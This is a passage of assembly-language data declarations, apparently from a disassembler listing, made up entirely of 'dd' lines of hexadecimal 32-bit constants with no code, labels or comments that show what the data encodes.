		dd 384983A4h, 0F43429A1h, 0E374782Ah, 1551F80h,	0B7DDF7BCh
		dd 6D5381F8h, 2B100BF8h, 0C4DC4526h, 0ACA2605Ah, 6020588Ah
		dd 0B9EA2602h, 1048E7A8h, 463F2135h, 943380C2h,	0A2049E79h
		dd 7ED50977h, 18A0EA84h, 321D7A03h, 37EDE51Eh, 930DE680h
		dd 0BA0EFC16h, 0C00C0048h, 1AF1A888h, 2B00CEEDh, 0AE7C2A8Ch
		dd 38047DF6h, 0A4D4BB32h, 29522074h, 8C286504h,	6F018950h
		dd 0CE7E6C98h, 24441C72h, 88009092h, 6FF4EF98h,	0F20219FFh
		dd 5467AAE9h, 78604C44h, 8B9D3D6h, 0DF076680h, 16559A6Dh
		dd 0B1AA72h, 3787F4A9h,	4D0720FAh, 0C0D87340h, 0C5053462h
		dd 4411E2ACh, 1056A18h,	0E798AA48h, 0E23306B2h,	9258387Bh
		dd 0F2E770A4h, 0DC84178Ch, 7EFC0015h, 0B4C92272h, 24BC6A49h
		dd 4E0E2EF3h, 0B7C93DA4h, 8228E23Eh, 465340D4h,	92462C7Ch
		dd 0DEBB0034h, 64CE7417h, 440570B2h, 0B940202Bh, 2DE5203Dh
		dd 0A724E818h, 7C897848h, 715C5925h, 675185Ah, 52F253FAh
		dd 9700198Eh, 0E028DAC9h, 22E99Ch, 19AFB53Eh, 0D3F654A8h
		dd 0E83B5536h, 7394670h, 8DFCCD9h, 1C081C29h, 16CCA13Dh
		dd 40801716h, 0D61FA420h, 6C3BA873h, 88AEB3h, 24FFE902h
		dd 4784AB4Ch, 7EF8621Ch, 70CCC318h, 870C0906h, 0B8801AC0h
		dd 0E1F18A05h, 0E409D8B1h, 0D908C207h, 18557188h, 0DBB7009Ah
		dd 0A93ADEFFh, 1F01B97Bh, 0FA8DF69h, 0C181254Bh, 0B2F43F0Ah
		dd 0FE24C48Ah, 50AEAD01h, 4CD92E06h, 21A6F040h,	5362C6Ch
		dd 0CED296B4h, 0C01E88D8h, 0B190283Eh, 0A209CA74h, 7AE258BCh
		dd 7FEDE1DCh, 8620410h,	2738374Ch, 11BC1701h, 0AF588017h
		dd 581B9902h, 83803888h, 31D7BF91h, 499007F8h, 0B63D6602h
		dd 0C9E6FC19h, 689D56Ch, 0B48EFB7Ch, 1983B31h, 0ACB0D6C3h
		dd 32EC9B29h, 7A8E44Fh,	0BB5E6C50h, 2A2E33D1h, 8A2DAB8h
		dd 0F3ABEF03h, 904FCB9h, 50CE0EC0h, 21A52461h, 0A2806350h
		dd 0E7DF3015h, 762A2700h, 0F8E30379h, 8DAC2095h, 1ED47316h
		dd 2E7A7041h, 0E0DBCC43h, 6BC2ABE9h, 24011825h,	33247F5Ah
		dd 3112A23Ch, 7F802BBDh, 184735BFh, 58124EB4h, 0D46BA5F8h
		dd 0E254E589h, 15187EE2h, 307305Ah, 0FE4ED9DAh,	0F70A4896h
		dd 7400F72Bh, 444AB013h, 1B0E056Bh, 0A0CC5086h,	8B1A7C4h
		dd 548AAA01h, 0D02C3A2Dh, 23582E4Ah, 0B2F71254h, 36F681DCh
		dd 0E085650Dh, 0D31AB4CBh, 2C42358h, 0F808A5E8h, 0D4710924h
		dd 2501AAC6h, 0A1496C76h, 0E3D18C19h, 3009318h,	2A9CBBB5h
		dd 1675408Fh, 8042B46Eh, 0F2D4EC84h, 4093FB2Eh,	0A92EF483h
		dd 4A84C55h, 0A0DF901Ch, 2669C8E0h, 0E4E445E9h,	27D66059h
		dd 4C581810h, 17281987h, 0BF4E1600h, 0DA836DF5h, 0D0400929h
		dd 0E804D522h, 32064189h, 0E07018BEh, 9CC44C82h, 0C4F8CAD6h
		dd 25307F1Ch, 0F9F4CC74h, 25FFA32Ch, 5ACEC900h,	0A1092CEAh
		dd 503BF678h, 92854460h, 0EDD4C873h, 19385234h,	9B71EC80h
		dd 0A6300934h, 9C0FC68Ah, 1EEC5494h, 0CE67008Ch, 741D38E2h
		dd 0A41D0C5Dh, 0D4EC90BCh, 5A6A0302h, 0D84C71EBh, 48643FBh
		dd 9C6F0AB6h, 0FFA0C0EEh, 7FEA1114h, 56A3F802h,	7CD4672Ah
		dd 0E3215EB0h, 0D6D5807Eh, 70D8EB2Fh, 0F22ADCA0h, 84A4A8C1h
		dd 0C0801110h, 0F5273478h, 0A8A8C1FAh, 0EA76C076h, 4C3DFD17h
		dd 0D830F893h, 34A16E9h, 1E8019B1h, 9DF0E08Bh, 0F53813C3h
		dd 98F125B9h, 0F07E6E00h, 15609056h, 0E4E2A774h, 65C99C07h
		dd 0B3F1214Bh, 34402BA8h, 53E260BCh, 66863E88h,	0BBFC4A00h
		dd 24E04DBh, 23540F58h,	895501B9h, 184F6E16h, 3CB48817h
		dd 80DD893Dh, 33CD2CF5h, 0D782848h, 0B152F0A4h,	502F2B49h
		dd 0AA0E5723h, 298FBC30h, 0E8FC94F0h, 444317h, 0E8B58B36h
		dd 39CD098h, 4E5007A2h,	0FDC0CD30h, 5A214F16h, 7F1D78D2h
		dd 0EA060B86h, 4889B4C6h, 3D913068h, 8660D37Fh,	2A7CE3C9h
		dd 7F120169h, 36CAD1F1h, 4C987235h, 29421040h, 0B2CC6C13h
		dd 7EE3F168h, 9F0B2B0Ch, 804D58C9h, 754A488Fh, 0C31B06A4h
		dd 98ED74BDh, 274BBF17h, 0E323BC3Ah, 0F9900500h, 17DF7CEEh
		dd 87527A08h, 9D7DC090h, 10006FD3h, 8DFEDAACh, 6C4D689h
		dd 3632035Ah, 3F1728F0h, 88D7FBF5h, 0ECB48F94h,	3A534E73h
		dd 71223F4h, 0F093E491h, 0FFAA486Fh, 71633600h,	6CA2D676h
		dd 2084E30h, 0ED1E32C8h, 12D8ECD1h, 0DA708644h,	0A603993Dh
		dd 9202281Eh, 0F3E91352h, 0A71078B0h, 909D9978h, 0ECB2C60h
		dd 0CF45168Ah, 6C04C0E0h, 0C501BB56h, 5B4DDC40h, 28248453h
		dd 9F6500BEh, 4A4FC94Bh, 6103D8A5h, 0C69C5D42h,	1E78F1C2h
		dd 70323830h, 64C912D6h, 23C03EF1h, 951D025Ah, 0ECE66299h
		dd 8B851F00h, 0F9222838h, 35EE13h, 0B84C3024h, 0BA552A01h
		dd 1065B02Ch, 89DCE103h, 97BE80D8h, 8626444Eh, 96434F03h
		dd 0C58981FAh, 5323503Ah, 629C8400h, 7C2C1C13h,	29C70435h
		dd 806E726Ch, 24ED83FCh, 465C009Eh, 5D5C0358h, 88A0220Eh
		dd 902778CDh, 1E7A2868h, 2670A1FCh, 8BB86478h, 1982288Ch
		dd 10031C8Ch, 17A5C1D6h, 74D9366Ch, 970B1140h, 0ABB7A7E8h
		dd 0CB780h, 0E8F43AC1h,	33620B4Ch, 5861960h, 7B60B983h
		dd 49CA741Fh, 0A21C9868h, 6E0B5E36h, 6504A94Ch,	605AE408h
		dd 90B735E8h, 9A7EECECh, 9FCD046Ch, 0BD708F20h,	84A209A0h
		dd 78D02258h, 398CC936h, 801F4B11h, 68FC0529h, 0E4BD5647h
		dd 0EE9E008Eh, 7109D9E4h, 1079D878h, 0BCF05426h, 22FD698Bh
		dd 0F2F482F8h, 0F75A0008h, 3C4584FCh, 0BF02B32Fh, 15E3F9B2h
		dd 98524Bh, 8022851Eh, 141051CEh, 8101E971h, 0CC70A1D3h
		dd 6C30FD0Eh, 87C427D8h, 8BE404C5h, 8A08BD60h, 0C046D5Bh
		dd 8A016AEh, 0C1B5F8F5h, 553714F9h, 22E43C63h, 3CB79D4Dh
		dd 6ADA1E01h, 0F9411494h, 3D3508Bh, 0CC667E21h,	26A8EB79h
		dd 3709C319h, 0D3BF6EE1h, 602171B0h, 5C906E5Ch,	7EF28B10h
		dd 4F80532Ch, 0F42394E0h, 1C07644Eh, 0E91574AAh, 611760B2h
		dd 96EC4B54h, 0E0ACAD18h, 0BE6A0881h, 4EA41540h, 0B0648889h
		dd 1BA7D03h, 8853F540h,	4014CE76h, 0C0A4348Ah, 0BCD2FB22h
		dd 0F338DC9Ch, 0F96F37EAh, 0B3892C3h, 281A0920h, 1CD9DC51h
		dd 0C800EA18h, 560C9659h, 2C6EBE4Fh, 9EBC5D8Ah,	12641210h
		dd 88D88E7Ch, 0BF21CE5Ah, 32518A4Ch, 0B6B800C0h, 0D3C1ACD5h
		dd 18E4A483h, 0D2056550h, 0A800CA02h, 0E3436FECh, 98DF73C8h
		dd 6A043044h, 44F0D6E9h, 80DED927h, 3CCE6C0Ch, 0B4B8A088h
		dd 11400092h, 0F33B0FA5h, 0E1252BDDh, 60FCED01h, 497A06F9h
		dd 95A64618h, 5E4280h, 7882EDE5h, 0D10FF877h, 1F7874B9h
		dd 0AE00867Fh, 11388F4Ah, 0EB83A84h, 3605F25Eh,	0ECD97509h
		dd 1F6E6A04h, 0FC54840Eh, 0E5C0E693h, 5D0D4C80h, 0BE5602F0h
		dd 4BE5D0A3h, 711FA45Ah, 0E6C52745h, 0A804B91Dh, 0A5012AF0h
		dd 249E6204h, 979D017Ch, 9D181140h, 0C11BA1CFh,	227AA4E0h
		dd 89346088h, 0E54F740Fh, 7C0352EBh, 92FB6159h,	1B2CE0DAh
		dd 0EA6E00C2h, 53D92CCCh, 0D3031FB4h, 0D620AAEBh, 4078F27Bh
		dd 0DD1CB7Ch, 3B4252C0h, 782F3F10h, 0F900E723h,	216B4711h
		dd 8E1A0124h, 9207E49Dh
		dd 27B42C12h, 2C104882h, 0F99F071Bh, 0A068996Ah, 425DBF6Ch
		dd 3828EC00h, 33FB460Dh, 0FC731326h, 63F0C02Ah,	60A743Bh
		dd 0A8181632h, 543054Fh, 0F42FEC13h, 67005423h,	65A48EB0h
		dd 0DD000B7h, 9EEED275h, 0B19D7150h, 0D8D32EF0h, 52DBA2h
		dd 30E685ABh, 2AA88673h, 0D945091Fh, 4E8B40ACh,	0B85820FAh
		dd 0E3FB6Fh, 48190393h,	0EA36D2AFh, 4A00A57Dh, 0D4760E33h
		dd 959096F8h, 1F11B09Dh, 36EC859Ch, 1F7CE805h, 0F19C06B9h
		dd 5C9DCB96h, 1DAC5828h, 0A1017F43h, 0A49EA7C5h, 64E9C984h
		dd 10B962E0h, 0A1F4BC89h, 154A770h, 880B0C74h, 0A409CB4Eh
		dd 5990D929h, 1812D154h, 8A611337h, 0CEA42384h,	6DE0D1A4h
		dd 53502CB1h, 3012A2ACh, 0C035CC1h, 6F302643h, 48B8FCD4h
		dd 0B4A1E817h, 750F564h, 0A47BCD58h, 0B3754E0h,	7605484Bh
		dd 9C4C8A8h, 244C801Ch,	62308F21h, 7105A1A2h, 0CE7409ADh
		dd 0C0E08BF9h, 51606F92h, 6C65C291h, 2AB4B01Ch,	95A07BA7h
		dd 1C917817h, 73A03F8Fh, 0AEBBAC50h, 61067D58h,	0E7CED641h
		dd 0B5A4E8h, 63A91575h,	0FB62CA8Ch, 2E9DCC9Ah, 0C8CB0B50h
		dd 0A703A858h, 601B6448h, 2705103h, 960698B3h, 484066B0h
		dd 0E314092Dh, 81A090D6h, 1D2E7A7Fh, 0CBDC132Eh, 7EE1C44Ch
		dd 60CC7330h, 0F28A1E1Dh, 0C8BC8230h, 60495A0Bh, 78BDAB24h
		dd 280140BEh, 3F2D467h,	2440F458h, 4A74688Fh, 0E7E00880h
		dd 75109127h, 6C87D45Fh, 1F8DB0A0h, 0F807116Ah,	0EBAE9281h
		dd 78207BA9h, 7A03EE9Ah, 84090889h, 0D537F85Dh,	14608272h
		dd 4D3F5735h, 657BADD4h, 7F20E248h, 90420318h, 0C3F70E23h
		dd 5302E6B8h, 0C849EF1Dh, 584765h, 0A8375BDh, 0E2D124B1h
		dd 0E6009D18h, 32E96C67h, 31A60E18h, 4EC891A0h,	0B06E7B30h
		dd 0B7F4A200h, 0E382988h, 0C69C5607h, 929BDACh,	5108E8BCh
		dd 0C5478889h, 0D96BB30Bh, 7A0444D8h, 0FB9611E9h, 0AC6E0B8Dh
		dd 13760FAEh, 0D31E6480h, 0A0873A22h, 24C646ADh, 568AC627h
		dd 0E4A60F3Eh, 0A7A197E7h, 377D80F1h, 0EA094FB3h, 0A3BECC70h
		dd 0EA09D644h, 0E0304D9Dh, 8B70E9CEh, 0DC376200h, 835B6649h
		dd 20C9C0F6h, 0BA94A8B4h, 7BEA9000h, 5047321h, 0BCA007A2h
		dd 29B45B6Fh, 0F0D47C02h, 0EBA32101h, 33929C8h,	0D32092B3h
		dd 6CC0DC3Dh, 6EF0A871h, 0B7E80F2Fh, 488F3B4Ch,	0B000C302h
		dd 0C29291D8h, 0C017AE98h, 18A0DDA0h, 0E800E91Ah, 0C9C7F180h
		dd 8C6A10F5h, 6C99A692h, 19889C0Eh, 0A03768C3h,	0B517BADh
		dd 0AB47088h, 68A948E2h, 7DD6EC54h, 0ABD801B9h,	4D7A7109h
		dd 0D06E7A5Bh, 92A5C205h, 0EF54A476h, 0FED41012h, 80E24857h
		dd 0A51E1700h, 0E58C5095h, 27EA5E00h, 62C1762Dh, 1F7C7899h
		dd 0D3E8203Fh, 53B4F0C7h, 0DFC88854h, 2E9AA38h,	844D3601h
		dd 0D18C4292h, 481E7978h, 0ED268A58h, 750844EAh, 8F821670h
		dd 0C24CC824h, 0A054D806h, 0BA052D41h, 6B9EF8h,	212EAA20h
		dd 6E78D415h, 0C57AB409h, 88D4218Ch, 4C30EFA7h,	1714B476h
		dd 0C0749A26h, 7D2971D7h, 7A080B85h, 3447110Ah,	0E6053E4h
		dd 0F207045Fh, 8EA98D41h, 8AE86C31h, 0B40B7022h, 0ECE47192h
		dd 7451DB78h, 8F788508h, 34D1306Bh, 0E33091CDh,	8A813CAAh
		dd 1E87A5Eh, 6CBFD683h,	437AA81Bh, 8694ACC8h, 38E012FBh
		dd 8C3E65C7h, 0E8C84C88h, 0A5078C1Dh, 983E71B9h, 8003C4EEh
		dd 0B2449Ch, 28AE79E4h,	2984D63Ch, 0C8D26700h, 75E3F3A1h
		dd 0C9FD02ECh, 856F91EDh, 35B50452h, 5EF680ECh,	15F2529Dh
		dd 96D4730Bh, 0F2A8F2AAh, 7C458183h, 10E692E4h,	0CD31E4E0h
		dd 7986B826h, 0F0608409h, 2F154F44h, 3D1B23E8h,	0D8E4EC85h
		dd 3FC4A2E9h, 8B70BF92h, 255328h, 8833524h, 7FC9982h, 70E01E47h
		dd 58C605DFh, 954F4200h, 0CEF1A7E5h, 751F1D0Bh,	0AC708462h
		dd 0B4E8C6h, 6CBCC0Ch, 14A8A41h, 0FCC39F39h, 2E23BF33h
		dd 9110104Eh, 584E7A0Dh, 382F7A91h, 0C143FB10h,	8870A4Bh
		dd 5F4096Eh, 13D124D9h,	9DE6C819h, 0FE9EFF00h, 0D139C06Dh
		dd 57F1024Bh, 0EFFAF3ADh, 0D016F8E4h, 9094B6E1h, 20F230F2h
		dd 4421E30h, 3206BD84h,	0E850E0CAh, 16306C17h, 0F40D0402h
		dd 1104DED8h, 82D03826h, 71294B02h, 442C47BFh, 219F6019h
		dd 588C02BAh, 0FFF2A565h, 6E38E0FAh, 0CD84257Eh, 13A60EECh
		dd 0BC484D90h, 0F0026B18h, 1025E4FAh, 4ED4A26Eh, 0AF78C0D5h
		dd 15352DF8h, 897E80Bh,	607F1E88h, 6C3C906Dh, 0F042742Ch
		dd 0D4F05CE9h, 9522EB07h, 6AE9BB0Fh, 4FB441D0h,	0C191F820h
		dd 6321A6A9h, 0E46E2E4Bh, 852B1300h, 0B4C68A2Fh, 8E0AAE12h
		dd 889D54F4h, 46499208h, 848C0914h, 7E4860FCh, 328B26E8h
		dd 7438AC88h, 807EE121h, 0F85AEDABh, 80054766h,	489E10DEh
		dd 242784FCh, 0A56028EDh, 33DC6C37h, 0C2A0BEEEh, 3073913Fh
		dd 7E7AE12Ah, 0A05251DCh, 6EC09C1Bh, 0D5F70EFEh, 0C4D7514Bh
		dd 7E205D00h, 10831327h, 9BC8D352h, 8108B0C8h, 6800C973h
		dd 2B36EEFFh, 259AC00Eh, 0B0CAB7A3h, 0DC80DEh, 75089CA2h
		dd 0FFA95F15h, 96920704h, 2A00E948h, 848BFC03h,	10DC4456h
		dd 730B89DBh, 0CCD00AACh, 6CCE7408h, 0FC852563h, 4FA4FC4Ch
		dd 15C8F8CBh, 759A8DC1h, 40DABC20h, 74099EF8h, 0F145EB70h
		dd 1858D1A8h, 0A8B00399h, 0E8D43320h, 7370FDACh, 0E8FAA72Fh
		dd 8A1208h, 0DBC2E0F9h,	0AC86FE1Dh, 0A2C4170Eh,	80EA6CBCh
		dd 0A300220h, 6681F3C8h, 465E4CFEh, 0C89901E3h,	0C51FD0FDh
		dd 0BC3EB470h, 488A00A8h, 1D9228C6h, 27B6CA00h,	0C1C32618h
		dd 0E6D40B70h, 8D008DFCh, 608F484Ah, 583AD95Fh,	63005423h
		dd 52AD89BFh, 0A201EA18h, 1A24A0AAh, 4CC4966Eh,	7A8E1459h
		dd 80F01869h, 0C005F526h, 4CB52E61h, 0CD1FB400h, 5021A400h
		dd 0A38609A1h, 781BE0C2h, 1508C04Fh, 20DC55DBh,	0E8276E12h
		dd 0B8E088B6h, 950570E3h, 7DE875FDh, 6468E8A5h,	5716C880h
		dd 0DE002F72h, 7080D67h, 263B2ADFh, 8B093FEh, 6D2DBFBAh
		dd 5421C0B8h, 0AE12350Bh, 4C747E09h, 59AC94FCh,	2DBC028Ch
		dd 57CAFFFEh, 1EE4A823h, 40226391h, 0BE560262h,	321CF0F2h
		dd 0DE073784h, 1EC1AA3Fh, 4B3BCACEh, 94D3F398h,	7CED3370h
		dd 0B5F79BFh, 0A66287F7h, 8E41CF0h, 1C7E68A2h, 3E8303DEh
		dd 4D612166h, 0EC78BD80h, 6BE46197h, 105D3068h,	0A90969B8h
		dd 0B066ECDFh, 28AC71CCh, 5CF0C4FEh, 0F693443Bh, 0D6D7E044h
		dd 74D12611h, 0E2261288h, 3056E244h, 0E9007722h, 31FD5BE4h
		dd 5BFC7341h, 0CB8C026h, 8D42B136h, 0A9C1A63Eh,	2D00B8D0h
		dd 925D777Dh, 0A76003Bh, 179ECF31h, 1E32B473h, 61303022h
		dd 3E603308h, 6B8F2D35h, 0BF0AEC20h, 0FF81E534h, 12F42830h
		dd 0E61A5D99h, 22B6E0E8h, 0BAFC0857h, 0E50B072Ah, 57881264h
		dd 811F60B7h, 1B87791Fh, 496EFCFDh, 4E48E006h, 0C8C9C024h
		dd 0E448B6BFh, 43772C00h, 0CD5CA571h, 4EAD01D1h, 0C1CE59A3h
		dd 3F1231B7h, 70D0E00Ah, 7F1F2156h, 8C08F81h, 872EEE6Ah
		dd 4477B23Ch, 280FD4F6h, 0BCC34076h, 0B2B495F8h, 0A3777F78h
		dd 0F096A058h, 0AADCA483h, 398C3D9Ch, 77C1037Ch, 0CE3C49E6h
		dd 0A5D7FD80h, 8C880CB2h, 0AC274B0Fh, 0AC908AE2h, 0FEA21F4h
		dd 0D996481h, 4970C248h, 1C2312F0h, 54C4B488h, 504FC300h
		dd 0DB4D8D26h, 3AAE00DAh, 9824EDFDh, 0B41070EBh, 0D305151Ah
		dd 0CA21AAEAh
		dd 0B0CC469Ch, 5B923AB1h, 827C9273h, 0DD0258DAh, 42194B0Eh
		dd 1688E4B8h, 0F09CCE0Ch, 9D484570h, 0A497614h,	0C2CE81ACh
		dd 0D4405F33h, 62F9982h, 0C07E0E0Ch, 0CB1D205Ch, 60CE2C80h
		dd 3C90364Bh, 1FB4924h,	0CF1B062Bh, 80EF824Ah, 41078089h
		dd 47D3BAEh, 0C90BFB8h,	0CEA0D0D5h, 0D12CA552h,	5918616Eh
		dd 9EF4061h, 69A5CFFh, 0DCDC5Eh, 0B2C758B9h, 55E5CF2Ah
		dd 2E6C909Dh, 0DD05146Fh, 0E04DB83Ch, 75A9F898h, 6C297905h
		dd 388CB9DBh, 0A880057h, 0E28FF76Dh, 0E00042A1h, 68AFF55Ch
		dd 2050EA7h, 6C0FD4F2h,	0A8D61CCEh, 0A8304516h,	38238ACDh
		dd 71262C62h, 0FDA74484h, 0D40079F8h, 6A198DC0h, 7922294h
		dd 0C9C43ECBh, 70EB1E17h, 76480444h, 3404D6ACh,	0AC8E62E9h
		dd 23CC2B4Eh, 66F60019h, 38C4B3A4h, 3D2BB013h, 0ECAD9495h
		dd 9000B1BCh, 37D319ECh, 2FD61F88h, 0D464A5EAh,	7E69A616h
		dd 4B40A7A0h, 243EF819h, 8744D8C1h, 6E4A4CA8h, 688803F8h
		dd 0F2AFF65Fh, 0FCF510A7h, 0B024D4B9h, 844AAD1Fh, 0D208ACEFh
		dd 0B0E52740h, 95601FE4h, 0B04D96F6h, 7CBC1580h, 148B5EC8h
		dd 0A4C054C8h, 16569CAh, 31D489Ch, 0E5F88ADCh, 0CC6B7ACFh
		dd 0A707558h, 9DBD365Bh, 1D2500DBh, 5D50E1F4h, 17C84661h
		dd 6F8756Ch, 0E3D02436h, 51210D18h, 2CCE3AC9h, 330FEAC4h
		dd 5B91A832h, 999D0082h, 22A66703h, 6195C49Fh, 905B2498h
		dd 0A8C3BD80h, 0FC022EBBh, 0B811D923h, 188D24Eh, 0F96842BEh
		dd 3A07E2A9h, 16A254C8h, 9EF4C9Ch, 0D07B03FCh, 465C842Ch
		dd 0C9340318h, 8163733Dh, 227E83CBh, 3F2329ECh,	5506C0BAh
		dd 0D34F00DCh, 392A22A4h, 1D2D24C5h, 0E4AC4563h, 0FD566014h
		dd 13C9F2B9h, 5EC4297h,	8865D904h, 382EE824h, 0E527CC57h
		dd 6015E480h, 7F1CE498h, 0A4254A06h, 5B206C14h,	5E249C4Bh
		dd 6B005546h, 4E6D930Dh, 0A20ACA53h, 0C4E1FC84h, 7F731E00h
		dd 288A0899h, 5CC810A5h, 0E22D6DEAh, 3C0E04Dh, 2005F278h
		dd 4B701020h, 0D4BD21C0h, 1E0E455h, 2AC0CF6h, 0C38A8C81h
		dd 0CC05DBE7h, 99E80A4h, 21138785h, 58E2B3F1h, 67522C01h
		dd 0D9DA6DB4h, 72FC42B9h, 0A4086919h, 94E0098h,	0A06E4CA0h
		dd 48710560h, 0DB5AA4B0h, 26ED8168h, 6DC1674Dh,	0D168603Eh
		dd 962C6E7Fh, 0E6A5F078h, 1C379F4Ch, 0B8B3D917h, 10142F5Ah
		dd 1FC07EE7h, 5E2E3181h, 11292101h, 0E5A806E8h,	0EC0089BCh
		dd 9ED432C1h, 0EF0046FBh, 0DE5DE05Eh, 9CB4509h,	8B407E6Eh
		dd 1BD005Eh, 6282AE76h,	3A05FA5Eh, 1323DCh, 332D8F85h
		dd 0F5002106h, 56A4D524h, 9D233BA5h, 5276416h, 64D44783h
		dd 3AE36020h, 0A8A048E6h, 70480D3Fh, 10BF1C0Bh,	0FF7CFC70h
		dd 0D0DE217Ah, 849463E7h, 60B01A84h, 166A1406h,	15E878FBh
		dd 4A0A028Ch, 9A6207FEh, 8A0290D6h, 0C7F68026h,	608BC450h
		dd 0E05C861Dh, 18AB696Fh, 58D1C4D1h, 0BF051518h, 3488698Bh
		dd 8970A0C1h, 86B4C900h, 0F4227BEDh, 547E293Ah,	0E72BC143h
		dd 0BBF9AAA0h, 10400492h, 0BC77A8A4h, 8C1FF8D0h, 10E44558h
		dd 2D147D5Ch, 0B77C4409h, 22759092h, 5204F588h,	7F4B0B0h
		dd 859A537Bh, 0E46F8B3Fh, 17C31F47h, 3D12C808h,	0BCA3121Bh
		dd 0C9B8C204h, 0E54CE482h, 908064E4h, 0CD097985h, 0D01F66D1h
		dd 89059A8h, 0C0989A5Eh, 0B1B2804Dh, 0D8A24B21h, 770085F0h
		dd 8243AC76h, 0EC180FF8h, 91285B0Eh, 2F265E24h,	0C1C1F4DAh
		dd 6CEB72CBh, 0BE5380F4h, 609063A7h, 0A5B2B20Dh, 4E00BAF5h
		dd 0EEBC4962h, 0D8679D6h, 178BE87Bh, 3C6E2FE1h,	5CFC17h
		dd 45C5DB4Bh, 0E99595F8h, 9C38B4F8h, 0AEA7193Ah, 374E5082h
		dd 99720048h, 88FB7F00h, 713529D9h, 8A831326h, 16BCB8D1h
		dd 9CF6D86Bh, 0E96A70E7h, 33E4A83Bh, 877BB04h, 14D5B232h
		dd 380ED8B8h, 0A71FF294h, 801F5442h, 2482F811h,	70F67871h
		dd 11DC172Dh, 0C9498EF8h, 4AC5111h, 0E8E97CD1h,	32050D8Ch
		dd 177AB952h, 10242F48h, 4BCF101Ch, 3706F1E0h, 0D0162847h
		dd 84085B66h, 0B8E4A554h, 0A63F7B00h, 7EBB980Eh, 2B9B0106h
		dd 0BFE7C5D2h, 0FFFCFCB3h, 44E17662h, 40017D21h, 0EEA4A14Fh
		dd 0A53DD8E0h, 12DB1538h, 0B420A71Bh, 3949E2ECh, 7189FBACh
		dd 38FED8AFh, 0C112580Eh, 7E519C89h, 0F64CD0h, 0C10D3161h
		dd 0F2303CF7h, 83DC033h, 8121006Ah, 6CFF0D39h, 5130CFD9h
		dd 79DA1976h, 317F0713h, 5036D6E1h, 41D74212h, 0EF27D00Fh
		dd 7862C01Bh, 1CDF3A21h, 4023EBF6h, 4C137A94h, 7E6058C8h
		dd 966A4148h, 0A0B3A032h, 66FCF615h, 216D0890h,	329E3C0Eh
		dd 61B1207Ah, 0C58911h,	0A278F39Ch, 9E195BEFh, 67FD100Ch
		dd 52A6053h, 89D6E7F0h,	27742092h, 0F723D70Dh, 165110Ch
		dd 1E0D2FBBh, 0B3FC9B15h, 4ED0007Eh, 0DFF44935h, 42E66E30h
		dd 7AA11A06h, 0F59F1CDh, 0E42F40D0h, 808A4107h,	69BEA316h
		dd 5DC47003h, 30BC7950h, 0AF21FA08h, 0EB00BEA9h, 0ACFC3DEFh
		dd 1887865Ah, 896D512Bh, 9F07D7ABh, 0ECCFA558h,	219DCDF0h
		dd 0D0B81F51h, 8EB19F41h, 736A3E74h, 6D798090h,	0CA2436A6h
		dd 4F018AFCh, 0B10C06C6h, 7987F0E3h, 40FC9DFFh,	84CD091Dh
		dd 717A9B33h, 0B09FA2D7h, 110D2894h, 8814F7BCh,	0FBBE64h
		dd 0DD04FA0Dh, 0E4A77662h, 5608101Fh, 65ECBF84h, 1F3D6B00h
		dd 0EB0C110Ah, 68F4E4BBh, 26048C9Dh, 24F7BA0Dh,	2E00BE38h
		dd 3EA55D0Dh, 5B971EB8h, 219EC9Eh, 0BF6CC529h, 0A100406Ah
		dd 24B719F4h, 0CCD6787Eh, 0CF006B1Ch, 0F9669B49h, 0A04DA1B1h
		dd 2C8A94h, 0C3313DBEh,	0CB7D9CB5h, 215209CCh, 3DC93A8Ch
		dd 95ADA884h, 2A6080B1h, 0C115BF4Fh, 0B88058h, 50EF3182h
		dd 0B47CBEDh, 275DD9BCh, 614CD80h, 4B6E82FAh, 0C34CE428h
		dd 8957498h, 98F4A632h,	3B4063C4h, 0CA38329Dh, 5D42B50Bh
		dd 0F3338102h, 6C204433h, 0A9416CC4h, 48CABD8h,	0C3273DBCh
		dd 205662E5h, 863DBF82h, 9EA3B900h, 0F5E6BC2Ah,	43713C7h
		dd 3884021Ch, 3081A141h, 2029B26Fh, 6E074C1Fh, 0FC061346h
		dd 0E0A96CEAh, 76186371h, 1A1FF00h, 0EA9B2538h,	28C0300Ch
		dd 40C81FD8h, 0BCD8D748h, 19008C6Ch, 0F50B8F7Dh, 5259FD72h
		dd 0B02390F9h, 243DC101h, 6018ADC3h, 26C88B88h,	1E2C653Dh
		dd 4213E027h, 645957F0h, 8419AF50h, 0C5C3238Eh,	8E3E248Eh
		dd 5293D82h, 646457E5h,	981A3000h, 0CFA904C2h, 0BEE000D0h
		dd 651E9389h, 5B04E285h, 261F80D8h, 51885C8Eh, 0C0982BC0h
		dd 0FAFC0078h, 73FDB874h, 0B8983F0Ah, 9402C646h, 90F4A932h
		dd 4A107031h, 8C02329Ch, 6F84C356h, 9088806Ch, 900C0FD0h
		dd 2ECB0018h, 0D47C873Eh, 44604D83h, 0C7C27738h, 8C8A4C40h
		dd 0C42C1EDh, 16371D5h,	0BC4B919Ch, 52C4E384h, 0A4303028h
		dd 706A11BEh, 800588CCh, 0E4BEAAB4h, 0CF19F774h, 9DB82577h
		dd 0CF6EE40h, 6E28A5CBh, 0CD278011h, 29EDE09h, 0B77ED985h
		dd 3C607730h, 0D20001D4h, 0F63D69F7h, 2CFC2E14h, 85485C6Fh
		dd 8C36697h, 69C0BFC4h,	46F4A232h, 5722278h, 0A132913Fh
		dd 0F5F3C1B5h, 0AA0C20C8h, 3DD7048Ch, 62DDC32Ah, 87812458h
		dd 0B157E01Ch, 0AB00015Fh, 0CB9F0FA9h, 0A182939Ch, 38D331ECh
		dd 3C317270h, 50F3E339h, 23E5918Ch, 4256871Ch, 88322712h
		dd 3DBB30AEh, 0BDC32611h, 8D805488h, 50B63DC2h,	0A0D20A14h
		dd 2840A449h, 29E46FCh
		dd 0F7BB0D23h, 1069312Ch, 0D2BBFh, 799C3B44h, 93F041D9h
		dd 41F01051h, 8A7323C7h, 0D053F158h, 650A7410h,	0B8AC7558h
		dd 4D8FC580h, 0F3A0D02Bh, 0E6E23100h, 0B0CF74B2h, 3830D490h
		dd 50283923h, 0B4709312h, 0FF1063h, 0BEAFB921h,	0B7AB4730h
		dd 5544D4A7h, 0A60B7060h, 0C4F52800h, 0E38FFE53h, 77409202h
		dd 0B3E000B6h, 4997056Dh, 1C009527h, 3D32D336h,	30911F5Eh
		dd 24514394h, 3E1EA45Fh, 8E9F1159h, 2C1178E4h, 96BEA880h
		dd 608CAC70h, 0AEB821FBh, 650055BEh, 2716F978h,	1659AB20h
		dd 29429Fh, 0CDE2388Ch,	7E44F406h, 50DF1401h, 0B73A070h
		dd 6C591C5Dh, 0BFC03490h, 0B1E17E00h, 0F7752372h, 49D4A081h
